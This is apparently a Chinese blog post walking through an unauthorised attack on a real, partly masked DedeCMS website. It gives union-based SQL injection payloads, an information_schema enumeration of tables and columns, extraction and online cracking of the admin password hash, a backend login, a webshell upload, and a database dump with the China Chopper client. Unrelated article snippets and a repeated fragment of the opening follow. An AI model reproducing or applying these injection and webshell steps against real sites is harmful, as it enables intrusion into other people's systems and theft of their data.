mysql脱库_php+mysql注入拿webshell到脱库

2023-11-06

注:此文章献给那些还对注入不怎么理解的人学习!

本次实站过程已经过去一个月了,但是还是写出这个文章,来跟大家分享一下希望大家都能喜欢,就算这次大家再找到此战漏洞也别破坏,毕竟我们只是学习一下!

目标站:http://www.XXXteam.cn/

注入点:http://www.XXXteam.cn/newmess.php?id=138

找到注入点后猜字段,可用 order by 1 猜解,order by 不可用时,可用union 联合查询!

我这里猜解到的字段是22, 上图:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片1.png (650.65 KB, 下载次数: 42)

2016-10-17 18:41 上传

接下来爆显示位!语法: and 1=2 union select 1,2,4,5,...,22 字段多少就输入多少,

中间太常,省略了!然后回车打开,页面出现了一个9的数字!如图:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片2.png (698.55 KB, 下载次数: 33)

2016-10-17 18:41 上传

然后我们来查询下是什么版本,用户名,数据库!

version() 版本database()当前数据库 user() 用户,

要查询什么就把刚才爆出9的显示位替换掉,如图:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片3.png (434.3 KB, 下载次数: 38)

2016-10-17 18:41 上传

这是版本号,如果要查询用户名就把浏览器上面的9替换成 user()就行了!

这是我查出来:

版本号:5.1.32-community

数据库:XXXteamcom

用户名:XXXteamcom 数据库和用户名一样!

接下来我们来报表了, 语法 :FROM information_schema.TABLES where table_schema=database() limit 0,1 把浏览器里

的9改成 table_name ,然后回车,你就会看到表了,第一个表是:dede_addonarticle 我们只要爆出的管理员的表就行了!

我们继续爆,每爆一个就得修改下这个语法 limit 0,1 爆第2个的时候把0改成1,比如:limit 1,1 爆第3个的时候继续+1 如:limit 2,1 php中0是第一位!

这是我爆出来的表:

dede_addonproduct,dede_admin,dede_admintype,dede_arcatt,dede_arccache,dede_archives,dede_arcrank,dede_arctiny,ddede_arctype,dede_channeltype,dede_co_htmls,dede_co_mediaurls,dede_co_note,dede_co_urls,dede_diyforms,dede_feedback,dede_flink,dede_flinktype,dede_freelist,dede_guestbook,dede_homepageset

织梦的程序!

其中dede_admin 应该就是管理员的表了!我们爆下看!

爆之前,我们先把dede_admin 转换成16进制的,就是这个 646564655F61646D696E

语法:information_schema.columns WHERE table_name=0x646564655F61646D696E limit0,1 还是跟上面一样,爆第几个就修改数字 0 ,把我们刚才转换的16进制放到 0x后面,0x不要动,然后把显示位9的数字改成 column_name 然后就行!

我爆的段:id,userid,pwd,uname,tname,email pwd应该就是密码,uname应该是账号,我们试试!

and 1=2 union select 1,2,3,4,5,6...,22 from dede_admin 把浏览器里面的语法全部去掉,剩下注入点就行,就是这样;

http://www.XXXteam.cn/about.php?id=10 and 1=2 union select 1,2,3,4,5,6...,22 from dede_admin 然后回车!

然后把9替换成刚才我爆出来的字段 我替换了uname 和pwd,开了2个浏览器!

用户是:admin 密码是:d9d2b2de067864194059 密码加密的,可到cmd5.com解密 如图:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片4.png (762.15 KB, 下载次数: 32)

2016-10-17 18:41 上传

密码解出来了,这个 bx2013 ,接下来找后台,可以用软件扫或者谷歌找!我找出来了:

成功登陆:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片5.png (306.83 KB, 下载次数: 30)

2016-10-17 18:41 上传

随便找个上传点就行,然后上传马,先挂个txt吧,嘿嘿!http://www.XXXteam.cn/a.txt

接下来,脱裤咯!

脱裤可以上传脱裤马,也可以用菜刀,我就用菜刀的吧,方便!随便找个php文件添加一句话!

好,连接了

8f3ff2fbfdd7c7c8339951a6542705fa.gif

图片6.png (371.89 KB, 下载次数: 28)

2016-10-17 18:41 上传

如果你是用网马脱的话,就得看网站配置文件conn.php 里面的数据库用户名和密码!

连接后,点网站列表,然后在网址那里右键点击数据库管理,然后打开一个窗口,那个窗口就是数据库了!如图:

8f3ff2fbfdd7c7c8339951a6542705fa.gif

184133pj77nj4o7frwzf6z.png (298.63 KB, 下载次数: 43)

2016-10-18 09:16 上传

By:逆流的河

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

mysql脱库_php+mysql注入拿webshell到脱库 的相关文章

  • matlab三种方法读取带文本内容的csv文件

    csvread只能读取纯数值的csv文件 当csv文件中有字符串等其他类型的值时 如下图 只能跳过该行或该列 csvread的第2 3个参数是读取文件的指定行 图1 chem info csv 不过 matlab的帮助中心现在已经不推荐使用
  • JavaScript标签选取

    声明 本人的所有博客皆为个人笔记 作为个人知识索引使用 因此在叙述上存在逻辑不通顺 跨度大等问题 希望理解 分享出来仅供大家学习翻阅 若有错误希望指出 感谢 JS获取DOM元素的方法 通过ID获取 getElementById 通过name
  • openlog()

    include
  • 目前国内制造业数字化转型的成效如何?

    先来分享一个数字 埃森哲与国家工业信息安全发展研究中心推出的 2020中国企业数字转型指数研究 显示 2020年我国数字化转型效果显著的企业只有11 埃森哲与国家工业信息安全发展研究中心推出的 2021中国企业数字转型指数研究 显示 202
  • Java提高篇-----TreeMap

    TreeMap的实现是红黑树算法的实现 所以要了解TreeMap就必须对红黑树有一定的了解 其实这篇博文的名字叫做 根据红黑树的算法来分析TreeMap的实现 但是为了与Java提高篇系列博文保持一致还是叫做TreeMap比较好 通过这篇博
  • DevOps 学习(二)-DevOps 的工具链工具链

    DevOps 的工具链 DevOps中包括版本控制 协作开发工具 自动化构建和测试工具 持续集成 交付工具 部署工具 维护工具 监控 警告 分析工具等等 补充了一些国内的服务 可以让你更好的执行实施 DevOps 工作流 版本控制 协作开发
  • C语言 字符串 统计字串子母串出现的次数

    include
  • 定位算法启动流程

    工作空间humble ws 一 安装定位激光驱动 https github com RoboSense LiDAR rslidar sdk cd humble ws src 将rslidar sdk和rslidar msg包git到src目
  • 微信消息订阅功能开发流程

    一 可实现订阅消息推送 1 服务号 a 创建服务号类型的公众号并进行认证 认证的流程 补充公司营业执照相关信息 公司对公账号打款 三方电话认证等 以及300元认证费 b 申请模板消息功能 c 添加消息模板 d 添加模板消息发送接口 1 获取
  • minio 安装流程(linux)

    一 下载安装文件 1 在home目录下创建minio文件夹 mkdir home minio 2 进入 home minio 文件夹 cd home minio 3 下载文件 wget https dl minio org cn serve
  • 14LinuxC线程学习之查看当前pthread库版本和线程使用的注意事项(重要)

    1 查看当前pthread库版本 1 查看当前pthread库版本 getconf GNU LIBPTHREAD VERSION 2 NPTL名词了解 NPTL实现机制 POSIX Native POSIX Thread Library 3
  • VS2019/VS2022移动安装位置/C盘瘦身的一个好方法,亲测有效

    下面是vs2019 VS2022更换安装位置的方法 如果已经安装 未安装一样创建链接即可 不需要剪切文件这一步 方法类似 将安装好的文件剪切到其他盘 然后mklink链接即可 通过上面方法 我的VS2019跟VS2022一起安装了 都在使用
  • java8之stream流之Collector和Collectors

    Collector Collector是专门用来作为Stream的collect方法的参数的 public interface Stream
  • STM32程序调试技巧

    Table of Contents 前言 调试原理 软件调试 硬件调试 前言 这一篇博客主要讲解STM32F1开发板如何进行调试 分别是硬件调试 STLINK 调试和软件调试 调试原理 STM32的调试原理核心是比较复杂的 但是我们了解的东
  • 学习笔记——概率论与数理统计(第八章)

    学习笔记 概率论与数理统计 第八章 第八章 假设检验 8 1 基本概念 8 1 1 假设检验问题 8 1 2 假设检验基本概念 8 1 3 假设检验的思想与步骤 思想 步骤 8 1 4 两类错误 8 2 一个正态总体的参数假设检验 8 2
  • React官方中文文档【安装】

    https reactjs org docs getting started html React官方文档地址 1 入门 此页面是React文档和相关资源的概述 React是一个用于构建用户界面的JavaScript库 在我们的主页或教程中
  • Android 导入library,手把手教学

    引言 导入封装好的功能工程在自己的工程上 等于直接 给自己的工程上一件 装备 提升实力 PS 我曾经代入别人的工程 并实现了主工程 Application 和导入工程 library 的界面跳转与函数的调用 其中有各种各样的困难和错误 所以
  • Intel MKL 稀疏矩阵求解PARDISO 函数

    Intel MKL提供了针对稀疏矩阵求解的PARDISO 接口 它是在共享内存机器上 实现的稀疏矩阵的直接求解方法 对于一些大规模的计算问题 PARDISO的算法表现了非常好的计算效率与并行性 一些数值测试表明 随着计算节点数目增加 PAR
  • 超详细的VsCode创建SpringBoot项目(图文并茂)

    文章目录 超详细的VsCode创建SpringBoot项目 图文并茂 一 安装jdk 1 OpenJDK 2 Java SE Development Kit 8 二 安装maven 1 下载 2 配置环境变量 可选 3 修改settings

随机推荐

  • Python UI自动化 —— 关键字+excel表格数据驱动

    步骤 1 对selenium进行二次封装 创建关键字的库 2 准备一个表格文件来写入所有测试用例步骤 3 对表格内容进行读取 使用映射关系来对用例进行调用执行 4 执行用例 1 对selenium进行二次封装 创建关键字的库 from ti
  • java自定义高效map转json逻辑实现

    场景 笔者发现后端对网页提供的json接口数据 都不是特别复杂 所以为了提高json的转换效率 在笔者自己写的struts 1 0 0框架里 自主实现了一个map转json的类 内部返回值都是map封装 效率非常高 基本不会超过1ms 望大
  • win10——‘’WLAN‘’没有有效的IP配置

    前言 小编的笔记本最近突然连不上无线网了 本来用的好好的 突然不能用了 有点不得劲 不得劲就得给他搞得劲了 先看看小编的错误 然后再给您展示我的解决方案 错误提示 连不上网很难受 但是解决了肯定很爽 由于小编也没有遇到过这个问题 所以小编就
  • 全网最细之HiveQL语句操作

    HiveQL语句操作 关键字尽量大写 但是本人小写容易记忆 所以本篇为小写 数据库 创建一个数据库 查看数据库 修改数据库信息 删除数据库 普通表 创建表 查看表 修改表名 添加n列 修改表 修改位置 单独修改列名 数据类型 替换列 删除n
  • 面试问题回答集锦

    多个过滤类和排序类可以公用 filter backends 可以配置多个 执行顺序是从左往后 所以放在最左侧的尽量先过滤掉大部分数据 问 在工作中遇到注入多个分类排序的接口情况 如何解决 在写xx接口的时候 因为我们过滤的条件很多 搜索数据
  • Flutter和原生iOS调用相册

    文章链接 https juejin cn post 6908232699673722888 目的 实现一个flutter调用原生ios相册的功能 并传递照片 flutter的操作 flutter用来传递的模块叫channel 这里我们使用M
  • 求组合算法-----m个元素中选n个

    组合算法 本程序的思路是开一个数组 其下标表示1到m个数 数组元素的值为1表示其下标 代表的数被选中 为0则没选中 首先初始化 将数组前n个元素置1 表示第一个组合为前n个数 然后从左到右扫描数组元素值的 10 组合 找到第一个 10 组合
  • 蓝桥杯 寻找2020

    目录 问题描述 思路分析及代码 问题描述 小蓝有一个数字矩阵 里面只包含数字 0 和 2 小蓝很喜欢 2020 他想找到这个数字矩阵中有多少个 2020 小蓝只关注三种构成 2020 的方式 同一行里面连续四个字符从左到右构成 2020 同
  • 89个android学习样例源码

    源码下载链接 https pan baidu com s 1uT hsZQac7Hz3pOxX466Cw pwd 8888 提取码 8888 Android 仿京东金融首页头像效果 Android 实现Conquer应用源码 Android
  • 解决解密时出现"要解密的数据的长度无效" 或 "填充无效无法被移除" 的错误

    1 首先排除数据库中读取加密后的字段是否被强制截断 2 AES加密后的byte 首先应用base64 Convert ToBase64String 编码一次 若直接用utf8的话会报上述错误 若用unicode编码的话会解密成乱码 原因是加
  • java对象的内存模型详解:内存模型及对象头的奥秘

    在面试官的因势利导下 很多人对jvm的内存模型已经耳熟能详 但是对我们经常new 出来的对象 比如new Object 你了解它的内存模型吗 本篇文章将带你走进对象内部 真正去了解这个你最熟悉 也最不熟悉的的对象 一 对象的内存模型 先上图
  • (yolov5.train)-YOLOv3源码解析4-计算损失compute_loss()

    图像算法 yolov5 train YOLOv3源码解析4 计算损失compute loss 简书
  • linux安装anaconda及配置pytorch环境

    文章目录 下载anaconda 使用conda创建新环境 判断是否安装成功 判断pytorch是否安装成功 检验是否可以使用GPU 下载anaconda 这里有多种方法 可以下载到windows然后通过xftp传到linux服务器上 也可以
  • 狂刷200道数据结构与算法,我的华为面试经历分享

    基本概念面试题集 Spring 相关概念梳理 谈谈对Spring loC的理解 谈谈对Spring Dl的理解 BeanFactory 接口和ApplicationContext接口不同点是什么 请介绍你熟悉的Spring 核心类 并说明有
  • 累加器的作用

    累加器和算术逻辑单元 运算场所 指令寄存器 指令译码 定时及各种控制 信号产生电路 1 在运算器中 累加器是专门存放算术或逻辑运算的一个操作数和运算结果的寄存器 能进行加 减 读出 移位 循环移位和求补等操作 是运算器的主要部分 2 在中央
  • 大数据时代的 9 大Key-Value存储数据库

    在过去的十年中 计算世界已经改变 现在不仅在大公司 甚至一些小公司也积累了TB量级的数据 各种规模的组织开始有了处理大数据的需求 而目前关系型数据库在可缩放方面几乎已经达到极限 一个解决方案是使用键值 Key Value 存储数据库 这是一
  • JSR303和拦截器

    目录 一 JSR303 1 pom依赖 二 拦截器 1 什么是拦截器 2 拦截器与过滤器 3 应用场景 4 拦截器的快速入门 三 拦截器链 1 拦截器链的概念 2 TwoHandlerInterceptor java 3 在springmv
  • 912.排序数组

    目录 一 题目 二 代码 一 题目 912 排序数组 力扣 LeetCode 二 代码 class Solution public void MergeSort vector
  • C# 异常:已引发: "线程间操作无效: 从不是创建控件“textBox1”的线程访问它。" (System.InvalidOperationException)

    当使用多线程功能时 在子线程里修改UI控件参数时 如 textBox1 Text str 会引发异常 异常 已引发 线程间操作无效 从不是创建控件 textBox1 的线程访问它 System InvalidOperationExcepti
  • mysql脱库_php+mysql注入拿webshell到脱库

    注 此文章献给那些还对注入不怎么理解的人学习 本次实站过程已经过去一个月了 但是还是写出这个文章 来跟大家分享一下希望大家都能喜欢 就算这次大家再找到此战漏洞也别破坏 毕竟我们只是学习一下 目标站 http www XXXteam cn 注